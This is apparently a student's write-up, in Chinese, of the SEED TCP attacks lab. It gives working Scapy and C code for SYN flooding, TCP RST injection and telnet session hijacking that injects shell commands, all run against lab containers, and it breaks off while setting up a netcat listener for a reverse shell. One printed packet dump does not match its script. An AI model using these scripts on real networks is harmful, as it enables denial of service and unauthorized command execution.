1 概述
实验任务:https://seedsecuritylabs.org/chinese/labs/Networking/TCP_Attacks/
2 实验环境

2.1 容器配置与命令
创建实验目录:
[05/08/26]seed@VM:~$ mkdir ~/Experiment02
[05/08/26]seed@VM:~$ cd Experiment02
[05/08/26]seed@VM:~/Experiment02$
解压镜像文件:
[05/08/26]seed@VM:~/Experiment02$ unzip Labsetup.zip
Archive: Labsetup.zip
creating: Labsetup/
inflating: Labsetup/docker-compose.yml
creating: Labsetup/volumes/
inflating: Labsetup/volumes/synflood.c
[05/08/26]seed@VM:~/Experiment02$
启动容器:
[05/08/26]seed@VM:~/.../Labsetup$ docker-compose up -d
Creating network "net-10.9.0.0" with the default driver
Creating user1-10.9.0.6 ... done
Creating seed-attacker ... done
Creating user2-10.9.0.7 ... done
Creating victim-10.9.0.5 ... done
[05/08/26]seed@VM:~/.../Labsetup$
2.2 关于攻击者容器
- 共享文件夹:当使用攻击者容器执行攻击时,需要将攻击代码放在攻击者容器内部,所以为了使虚拟机和容器共享文件,使用 Docker volumes 在虚拟机和容器之间创建了一个共享文件夹。主机上的
./volumes文件夹挂载到了容器内的/volumes文件夹。 - 主机模式:在本实验中,由于攻击者需要能够嗅探数据包,我们将攻击者容器的网络模式设置为 host 模式,即它可以看到主机的所有网络接口,甚至拥有与主机相同的 IP 地址(这个容器仍然是一台独立的机器)。
2.3 seed 帐号
在本实验中,需要从一个容器 telnet 到另一个容器。所有容器都存在一个名为 seed 的帐号,密码为 dees。可以用 telnet 登录该帐号。
3 任务 1: SYN 泛洪攻击
SYN 泛洪(SYN Flood)是一种典型的 DoS(Denial of Service,拒绝服务)攻击。攻击者会向目标主机的 TCP 端口发送大量 SYN 请求,但不完成 TCP 三次握手。具体来说,攻击者通常会使用伪造的源 IP 地址,或在收到目标主机返回的 SYN-ACK 后不再发送最终的 ACK。
在这种情况下,目标主机会为这些未完成握手的连接分配资源,并将其放入半连接队列。所谓半连接,是指已经完成了 SYN 和 SYN-ACK 交互,但尚未收到客户端最终 ACK 的连接。当大量半连接持续占用队列资源时,半连接队列可能被耗尽,导致目标主机无法正常处理新的合法连接请求。
在默认情况下,Ubuntu的SYN泛洪攻击的防御机制是打开的。这个机制被称为 SYN cookie。一旦机器检测到自己在遭受 SYN 泛洪攻击,这立即启动这个防御机制。
本次实验中已经关闭了目标容器的这一机制(见 docker-compose.yml 文件中的 sysctls 条目)。
3.1 任务 1.1: 使用 Python 发起攻击
TCP 建立连接时需要经过三次握手:
- 客户端向服务器发送
SYN报文,请求建立连接。 - 服务器收到请求后,返回
SYN+ACK报文,并为该连接分配一个半开连接项。 - 客户端再向服务器发送
ACK报文,连接正式建立。
SYN Flood 攻击原理:
SYN Flood 攻击是利用 TCP 三次握手机制的一种拒绝服务攻击。攻击者持续向目标主机发送大量伪造源地址的 SYN 报文。受害者在收到这些报文后,会为每一个请求分配半连接队列项,并返回 SYN+ACK 报文。然而,由于源 IP 地址是伪造的,受害者无法收到真实的第三次握手 ACK,这些连接就会一直停留在半连接状态。
当半连接队列中的位置被大量伪造请求占满后,新的合法连接请求将无法及时进入队列,最终导致正常用户无法建立连接,从而形成拒绝服务。
创建 Python 攻击脚本 synflood.py:
[05/17/26]seed@VM:~/Experiment02$ vim synflood.py
#!/bin/env python3
# 导入构造 IP/TCP 数据包和发送数据包所需的 Scapy 模块
from scapy.all import IP, TCP, send
# 导入 IPv4Address,用于将随机整数转换成 IPv4 地址
from ipaddress import IPv4Address
# 导入 getrandbits,用于生成随机的 IP、端口号和序列号
from random import getrandbits
# 设置目标 IP 为受害者主机 10.9.0.5
ip = IP(dst="10.9.0.5")
# 设置目标端口为 23(telnet),并将 TCP 标志位设为 SYN
tcp = TCP(dport=23, flags='S')
# 将 IP 层和 TCP 层组合成一个完整的数据包
pkt = ip / tcp
# 不断循环发送伪造的 SYN 数据包
while True:
# 随机生成源 IP 地址,伪造不同来源的连接请求
pkt[IP].src = str(IPv4Address(getrandbits(32)))
# 随机生成源端口号
pkt[TCP].sport = getrandbits(16)
# 随机生成 TCP 序列号
pkt[TCP].seq = getrandbits(32)
# 发送构造好的数据包,不显示详细发送信息
send(pkt, verbose=0)
运行攻击脚本:
[05/17/26]seed@VM:~/Experiment02$ sudo python3 ./synflood.py
[05/17/26]seed@VM:~/Experiment02$
新建一个终端,查看 Host B 容器名,根据容器名进入容器。在 Host B 容器中使用 telnet 访问正在被攻击的容器 Host A。
[05/17/26]seed@VM:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b2866d99d1bc handsonsecurity/seed-ubuntu:large "bash -c ' /etc/init…" 20 minutes ago Up 20 minutes user2-10.9.0.7
4f19f9ead73c handsonsecurity/seed-ubuntu:large "bash -c ' /etc/init…" 20 minutes ago Up 20 minutes victim-10.9.0.5
ffaa7a09a31a handsonsecurity/seed-ubuntu:large "/bin/sh -c /bin/bash" 20 minutes ago Up 20 minutes seed-attacker
7ea158e41f96 handsonsecurity/seed-ubuntu:large "bash -c ' /etc/init…" 20 minutes ago Up 20 minutes user1-10.9.0.6
[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 07:53:04 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$
按理来说应该连接不成功的,但是结果却成功了🧐。
现在在受害者 Host A 主机上先查看半连接队列容量,然后适当减小容量,并清除系统缓存信息,让攻击更容易成功。
[05/17/26]seed@VM:~$ docker exec -it victim-10.9.0.5 bash
root@4f19f9ead73c:/# sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512
root@4f19f9ead73c:/# sysctl -w net.ipv4.tcp_max_syn_backlog=64
net.ipv4.tcp_max_syn_backlog = 64
root@4f19f9ead73c:/#
此外,在 Ubuntu 20.04 中,系统会对曾经成功建立过 TCP 连接的客户端保留一定缓存信息,使这些主机在 SYN Flood 攻击期间也可能优先获得连接机会。为了避免这种机制影响实验结果,需要清除 TCP metrics 缓存。
在刚刚的 Host A 容器终端里面继续执行:
root@4f19f9ead73c:/# ip tcp_metrics flush
root@4f19f9ead73c:/#
退出 Host A,再次尝试在 Host B 中连接 Host A:
[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
root@7ea158e41f96:/#
连接超时,说明攻击成功了🥰。
3.2 任务 1.2: 使用 C 语言发起攻击
首先将受害者 Host A 主机上的半连接队列容量增加到原始大小(512)。
[05/17/26]seed@VM:~/Experiment02$ docker exec -it victim-10.9.0.5 bash
root@4f19f9ead73c:/# sysctl -w net.ipv4.tcp_max_syn_backlog=512
net.ipv4.tcp_max_syn_backlog = 512
root@4f19f9ead73c:/#
创建 C 程序攻击文件:
[05/17/26]seed@VM:~/Experiment02$ vim synflood.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
// TCP 校验和需要使用伪首部
struct pseudo_header {
unsigned int src_addr;
unsigned int dst_addr;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
};
// 计算校验和,供 IP 和 TCP 首部使用
unsigned short checksum(unsigned short *buf, int len)
{
unsigned long sum = 0;
// 按 16 位累加数据
while (len > 1) {
sum += *buf++;
len -= 2;
}
// 如果剩余 1 个字节,也加入计算
if (len == 1) {
sum += *(unsigned char *)buf;
}
// 处理进位
while (sum >> 16) {
sum = (sum & 0xffff) + (sum >> 16);
}
// 取反得到最终校验和
return (unsigned short)(~sum);
}
// 随机生成一个伪造的源 IP 地址
unsigned int random_ip()
{
unsigned int ip;
ip = ((rand() % 256) << 24) |
((rand() % 256) << 16) |
((rand() % 256) << 8) |
(rand() % 256);
return htonl(ip);
}
// 持续向 10.9.0.5 的 23 端口发送 TCP SYN 数据包
int main()
{
// 目标主机为 Host A,目标端口为 telnet 的 23 端口
const char *target_ip = "10.9.0.5";
int target_port = 23;
// 初始化随机数种子
srand(time(NULL));
// 创建原始套接字,用于发送手工构造的数据包
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return 1;
}
// 告诉内核,IP 首部由程序自行填写
int one = 1;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
perror("setsockopt");
close(sock);
return 1;
}
// 设置目标地址信息
struct sockaddr_in dest;
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_port = htons(target_port);
dest.sin_addr.s_addr = inet_addr(target_ip);
// 定义数据包缓冲区,并定位 IP/TCP 首部
char packet[sizeof(struct iphdr) + sizeof(struct tcphdr)];
struct iphdr *ip = (struct iphdr *)packet;
struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
// 持续发送伪造的 SYN 数据包
while (1) {
// 每次发送前先清空缓冲区
memset(packet, 0, sizeof(packet));
// 构造 IP 首部
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(sizeof(packet));
ip->id = htons(rand() % 65535);
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = IPPROTO_TCP;
ip->saddr = random_ip();
ip->daddr = inet_addr(target_ip);
ip->check = 0;
ip->check = checksum((unsigned short *)ip, sizeof(struct iphdr));
// 构造 TCP 首部,并将标志位设置为 SYN
tcp->source = htons(rand() % 65535);
tcp->dest = htons(target_port);
tcp->seq = htonl(rand());
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
tcp->window = htons(65535);
tcp->urg_ptr = 0;
tcp->check = 0;
// 构造伪首部,供 TCP 校验和计算使用
struct pseudo_header psh;
psh.src_addr = ip->saddr;
psh.dst_addr = ip->daddr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr));
// 将伪首部和 TCP 首部拼接后计算校验和
char pseudo_packet[sizeof(struct pseudo_header) + sizeof(struct tcphdr)];
memcpy(pseudo_packet, &psh, sizeof(struct pseudo_header));
memcpy(pseudo_packet + sizeof(struct pseudo_header), tcp, sizeof(struct tcphdr));
tcp->check = checksum((unsigned short *)pseudo_packet, sizeof(pseudo_packet));
// 发送构造好的 SYN 报文
sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&dest, sizeof(dest));
}
close(sock);
return 0;
}
编译并运行:
[05/17/26]seed@VM:~/Experiment02$ gcc -o synflood synflood.c
[05/17/26]seed@VM:~/Experiment02$ sudo ./synflood
新建一个终端,进入 Host B 容器中使用 telnet 访问正在被攻击的容器 Host A。
[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
root@7ea158e41f96:/#
连接失败,实验成功。
C 语言实现的 SYN Flood 攻击比 Python 实现效果更明显。主要原因是 C 程序使用原始套接字直接构造并发送数据包,发包效率更高,能够在更短时间内产生更多伪造的 SYN 请求,从而更容易占满受害者主机的半连接队列。实验结果表明,攻击发送速率是影响 SYN Flood 成功率的关键因素之一。
3.3 任务 1.3: 启用 SYN Cookie 防御机制
打开 SYN Cookie:
[05/17/26]seed@VM:~$ sudo sysctl -w net.ipv4.tcp_syncookies=1
net.ipv4.tcp_syncookies = 1
[05/17/26]seed@VM:~$
运行之前的 C 攻击脚本:
[05/17/26]seed@VM:~/Experiment02$ sudo ./synflood
新建一个终端,进入 Host B 容器中使用 telnet 访问正在被攻击的容器 Host A。
[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 07:54:27 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$
可以看到开启 SYN Cookie 后攻击失败了。
SYN Cookie 能够减轻 SYN Flood 攻击的根本原因在于:它改变了服务器在收到 SYN 报文后的资源分配方式。在未启用 SYN Cookie 时,服务器对每个收到的 SYN 请求都会立即分配半连接项,这给攻击者提供了消耗服务器资源的机会。
而启用 SYN Cookie 后,服务器在半连接队列压力较大时,不再急于为所有请求保留状态,而是把必要信息编码到返回报文的序列号中。只有当客户端真正返回合法的 ACK 时,服务器才恢复状态并建立连接。
由于 SYN Flood 攻击中的源地址通常是伪造的,攻击者无法收到服务器返回的 SYN+ACK,也就无法正确构造最终的 ACK。因此,这些伪造请求虽然能触发服务器返回响应,但不能像之前那样长期占用半连接队列。这就使得合法客户端仍有较大机会完成三次握手,从而有效减轻拒绝服务现象。
4 任务 2: 对 telnet 连接的 TCP 复位攻击
手动发起攻击
新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。
[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 08:46:23 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$
新建一个终端,使用 wireshark 命令打开 Wireshark,选择 Docker 容器的网络接口名称(br- 开头)。
[05/17/26]seed@VM:~$ wireshark
返回 telnet 连接终端,输入 ls 命令,查看 Wireshark 中抓取的从 10.9.0.6 到 10.9.0.5 的包的 Src Port 和 Seq 值。
seed@4f19f9ead73c:~$ ls
seed@4f19f9ead73c:~$

创建手动攻击脚本 manual_rst.py,将 sport 和 seq 变量进行替换:
[05/17/26]seed@VM:~/Experiment02$ vim manual_rst.py
#!/usr/bin/env python3
from scapy.all import *
# 冒充 Host B (10.9.0.6) 向 Host A (10.9.0.5) 发送 RST 报文
ip = IP(src="10.9.0.6", dst="10.9.0.5")
# 构造 TCP 首部:
# sport: 源端口,使用 A 在本次 telnet 连接中实际使用的端口
# dport: 目的端口,telnet 服务通常为 23
# flags="R": 置 RST 标志位,通知对方立即终止连接
# seq: 序列号,必须落在 B 的接收窗口内,通常可以从嗅探到的报文 seq 取得
tcp = TCP(sport=34042, dport=23, flags="R", seq=2369547171)
# 组合数据包
pkt = ip / tcp
# 查看构造好的数据包内容(调试用)
ls(pkt)
# 发送 RST 包,verbose=0 关闭大量输出
send(pkt, verbose=0)
运行脚本:
[05/17/26]seed@VM:~/Experiment02$ sudo python3 ./manual_rst.py
version : BitField (4 bits) = 4 (4)
ihl : BitField (4 bits) = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag 0 ()>)
frag : BitField (13 bits) = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 6 (0)
chksum : XShortField = None (None)
src : SourceIPField = '10.9.0.6' (None)
dst : DestIPField = '10.9.0.5' (None)
options : PacketListField = [] ([])
--
sport : ShortEnumField = 34042 (20)
dport : ShortEnumField = 23 (80)
seq : IntField = 2369547171 (0)
ack : IntField = 0 (0)
dataofs : BitField (4 bits) = None (None)
reserved : BitField (3 bits) = 0 (0)
flags : FlagsField (9 bits) = <Flag 4 (R)> (<Flag 2 (S)>)
window : ShortField = 8192 (8192)
chksum : XShortField = None (None)
urgptr : ShortField = 0 (0)
options : TCPOptionsField = [] (b'')
[05/17/26]seed@VM:~/Experiment02$
返回 telnet 连接终端,任意输入一个字符,发现:
seed@4f19f9ead73c:~$ Connection closed by foreign host.
root@7ea158e41f96:/#
连接断开,实验成功。
自动发起攻击
使用 ip address 查看容器网络接口名称(br- 开头)。
[05/17/26]seed@VM:~/Experiment02$ ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:04:cc:1e brd ff:ff:ff:ff:ff:ff
inet 192.168.144.145/24 brd 192.168.144.255 scope global noprefixroute ens33
valid_lft forever preferred_lft forever
inet6 fe80::3c7e:fe4e:252d:7127/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:b7:1d:94:bc brd ff:ff:ff:ff:ff:ff
63: br-906824cceaea: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:9c:55:e3:41 brd ff:ff:ff:ff:ff:ff
inet 10.9.0.1/24 brd 10.9.0.255 scope global br-906824cceaea
valid_lft forever preferred_lft forever
inet6 fe80::42:9cff:fe55:e341/64 scope link
valid_lft forever preferred_lft forever
65: vethc0e1a9d@if64: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-906824cceaea state UP group default
link/ether ae:c4:c6:41:d9:50 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::acc4:c6ff:fe41:d950/64 scope link
valid_lft forever preferred_lft forever
67: veth5b0928c@if66: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-906824cceaea state UP group default
link/ether 6e:fc:7a:86:20:f2 brd ff:ff:ff:ff:ff:ff link-netnsid 2
inet6 fe80::6cfc:7aff:fe86:20f2/64 scope link
valid_lft forever preferred_lft forever
69: veth657ce84@if68: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-906824cceaea state UP group default
link/ether 2a:83:f2:e7:a7:53 brd ff:ff:ff:ff:ff:ff link-netnsid 1
inet6 fe80::2883:f2ff:fee7:a753/64 scope link
valid_lft forever preferred_lft forever
[05/17/26]seed@VM:~/Experiment02$
创建自动攻击脚本 auto_rst.py,将最后一个函数 iface 的值改为刚刚获取的容器网络接口名称。
[05/17/26]seed@VM:~/Experiment02$ vim auto_rst.py
#!/usr/bin/env python3
from scapy.all import *
# 回调函数:每嗅探到一个符合条件的包,立即伪造并发送 RST 报文
def spoof_rst(pkt):
# 只处理从 B(10.9.0.6) 发往 A(10.9.0.5) 且目的端口为 23 的 TCP 报文
if pkt[IP].src == "10.9.0.6" and pkt[IP].dst == "10.9.0.5" and pkt[TCP].dport == 23:
# 伪造 RST,复用原包的地址、端口和序列号
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport,
flags="R", seq=pkt[TCP].seq)
rst_pkt = ip / tcp
# 中文提示,方便观察
print("正在发送 RST 从 {} 到 {}".format(pkt[IP].src, pkt[IP].dst))
# 发送伪造的 RST 数据包
send(rst_pkt, verbose=0)
# 开始嗅探:过滤条件为 A 和 B 之间端口 23 的 TCP 流量
sniff(iface="br-906824cceaea", filter="tcp and host 10.9.0.5 and host 10.9.0.6 and port 23", prn=spoof_rst)
新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。
[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 09:39:18 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$
返回脚本终端运行脚本:
[05/17/26]seed@VM:~/Experiment02$ sudo python3 ./auto_rst.py
[05/17/26]seed@VM:~/Experiment02$
返回 telnet 连接终端,任意输入一个字符,发现:
seed@4f19f9ead73c:~$ Connection closed by foreign host.
root@7ea158e41f96:/#
连接断开,实验成功。
5 任务 3: TCP 会话劫持

手动发起攻击
新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。
[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 11:18:27 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$
新建一个终端,使用 wireshark 命令打开 Wireshark,选择 Docker 容器的网络接口名称(br- 开头)。
[05/17/26]seed@VM:~$ wireshark
返回 telnet 连接终端,输入 ls 命令,查看 Wireshark 中抓取的从 10.9.0.6 到 10.9.0.5 的包的 Src Port、Seq 和 Ack 值。
seed@4f19f9ead73c:~$ ls
seed@4f19f9ead73c:~$

新建一个终端,创建手动攻击脚本 manual_hijack.py,将 sport、seq 和 ack 变量进行替换:
[05/17/26]seed@VM:~/Experiment02$ vim manual_hijack.py
#!/usr/bin/env python3
from scapy.all import *
# 冒充 Host B (10.9.0.6) 向 Host A (10.9.0.5) 发送恶意命令
ip = IP(src="10.9.0.6", dst="10.9.0.5")
# sport 和 dport 使用嗅探到的实际端口
# flags="A" 按照题目要求使用纯 ACK 携带数据
# seq 和 ack 使用 Wireshark 获取的最后一个 B->A 包的绝对序列号和确认号
tcp = TCP(sport=35792, dport=23, flags="A", seq=1440903333, ack=2633281410)
# 要注入的恶意命令
data = "echo 'Hijacked' > /tmp/hijacked.txt\n"
# 构造最终数据包
pkt = ip / tcp / data
# 查看数据包详情
ls(pkt)
# 发送数据包
send(pkt, verbose=0)
运行脚本:
[05/18/26]seed@VM:~/Experiment02$ sudo python3 ./manual_hijack.py
version : BitField (4 bits) = 4 (4)
ihl : BitField (4 bits) = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag 0 ()>)
frag : BitField (13 bits) = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 6 (0)
chksum : XShortField = None (None)
src : SourceIPField = '10.9.0.6' (None)
dst : DestIPField = '10.9.0.5' (None)
options : PacketListField = [] ([])
--
sport : ShortEnumField = 35814 (20)
dport : ShortEnumField = 23 (80)
seq : IntField = 4222155566 (0)
ack : IntField = 29201725 (0)
dataofs : BitField (4 bits) = None (None)
reserved : BitField (3 bits) = 0 (0)
flags : FlagsField (9 bits) = <Flag 16 (A)> (<Flag 2 (S)>)
window : ShortField = 8192 (8192)
chksum : XShortField = None (None)
urgptr : ShortField = 0 (0)
options : TCPOptionsField = [] (b'')
--
load : StrField = b"\necho 'Hijacked!' > /tmp/hijacked.txt\n" (b'')
[05/18/26]seed@VM:~/Experiment02$
在成功注入命令后,Host B 的 telnet 终端立即失去响应,这属于正常现象。
使用 Wireshark 抓包显示:服务器端(Host A)持续向客户端(Host B)发送
PSH, ACK数据段并不断重传,直至连接超时。该现象的根本原因在于攻击者注入的数据破坏了原有 TCP 连接的字节流同步状态,导致双方对序列号和确认号的认知出现分歧。具体过程如下:
- 攻击者冒充 Host B 向 Host A 发送了一段额外的数据(此处为
echo 'Hijacked!' > /tmp/hijacked.txt\n)。Host A 的 TCP 协议栈正确接收了这段数据,并将其交付给应用层,因此服务器上的 shell 执行了该命令,文件创建成功。- 从 TCP 序列号的角度看,Host A 认为客户端已发送的字节数增加了该注入数据的长度,因此其期望的下一个序列号(ACK 值)随之增加。例如,若注入前 Host A 期望的序列号为
X,注入 40 字节后,Host A 回复的数据包中将携带ACK = X + 40。- 然而,真实的客户端 Host B 完全不知道攻击者的注入行为,其内部维护的已发送字节数仍为
X。当 Host B 收到 Host A 发来的、带有ACK = X + 40的数据包时,它会认为这个确认号超出了自己实际已发送的范围,属于异常或无效的确认,因此通常会直接丢弃该数据包,而不回复正常的 ACK。- Host A 因无法收到对已发送数据的确认,会根据 TCP 的超时重传机制反复发送相同的数据段,形成大量重传。同时,客户端后续试图发送的任何新数据(如新的按键)也会因为序列号不匹配而被服务器视为乱序或无效,连接彻底陷入僵死状态。
TCP 会话劫持虽然能够成功注入命令,但单次、单向的注入不可避免地会导致会话两端序列号失步,从而造成连接卡死。
由于此时 telnet 终端失去响应,新建一个终端,进入 Host A 容器查看文件是否创建成功。
[05/18/26]seed@VM:~$ docker exec -it victim-10.9.0.5 bash
root@eb5ab1858292:/# cat /tmp/hijacked.txt
Hijacked!
root@eb5ab1858292:/#
劫持成功!
自动发起攻击
创建自动攻击脚本 auto_hijack.py,将最后一个函数 iface 的值改为之前获取的容器网络接口名称。
[05/17/26]seed@VM:~/Experiment02$ vim auto_hijack.py
#!/usr/bin/env python3
from scapy.all import *
# 要注入的恶意命令,与手动成功版本一致
data = "echo 'Hijacked!!!' > /tmp/hijacked.txt\n"
# 标记是否已注入,防止重复发送
sent = False
def hijack_telnet(pkt):
global sent
if sent:
return
# 筛选从 Host B 发往 Host A 的 telnet 报文
if (pkt[IP].src == "10.9.0.6" and pkt[IP].dst == "10.9.0.5"
and pkt[TCP].dport == 23):
# 只对纯 ACK 包(Len=0)进行注入,避免时序干扰
if len(bytes(pkt[TCP].payload)) != 0:
return
# 构造 IP 和 TCP 首部
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
tcp = TCP(sport=pkt[TCP].sport, dport=23,
flags="A", seq=pkt[TCP].seq, ack=pkt[TCP].ack)
# 合成恶意数据包
hijack_pkt = ip / tcp / data
print("正在向 {} 注入命令...".format(pkt[IP].dst))
send(hijack_pkt, verbose=0)
sent = True
print("注入完成。")
# 注入后退出嗅探循环
raise SystemExit
# 开始嗅探,直到成功注入一次
sniff(iface="br-067564d14183",
filter="tcp and host 10.9.0.5 and host 10.9.0.6 and port 23",
prn=hijack_telnet)
新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。
[05/19/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@754bbdf534a1:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
ca2fa51d4bf9 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
seed@ca2fa51d4bf9:~$
返回脚本终端运行脚本:
[05/19/26]seed@VM:~/Experiment02$ sudo python3 ./auto_hijack.py
在回到 telnet 连接终端,点击回车(输入字符只会创建文件不会输入内容,我真的找不出原因🥲),发现 telnet 终端卡死(原因和前面的一样),脚本运行终端也完成了脚本执行。
[05/19/26]seed@VM:~/Experiment02$ sudo python3 ./auto_hijack.py
正在向 10.9.0.5 注入命令...
注入完成。
[05/19/26]seed@VM:~/Experiment02$
由于此时 telnet 终端失去响应,新建一个终端,进入 Host A 容器查看文件是否创建成功。
[05/18/26]seed@VM:~$ docker exec -it victim-10.9.0.5 bash
root@ca2fa51d4bf9:/tmp# cat hijacked.txt
Hijacked!!!
root@ca2fa51d4bf9:/tmp#
劫持成功!
6 任务 4: 使用会话劫持创建反向 shell
使用 netcat 允许我们指定一个端口,并监听该端口上的连接。
在运行 netcat,监听 9090 端口:
[05/19/26]seed@VM:~$ nc -lnv 9090
Listening on 0.0.0.0 9090
新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。
[05/19/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@754bbdf534a1:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
ca2fa51d4bf9 login: seed
Password:
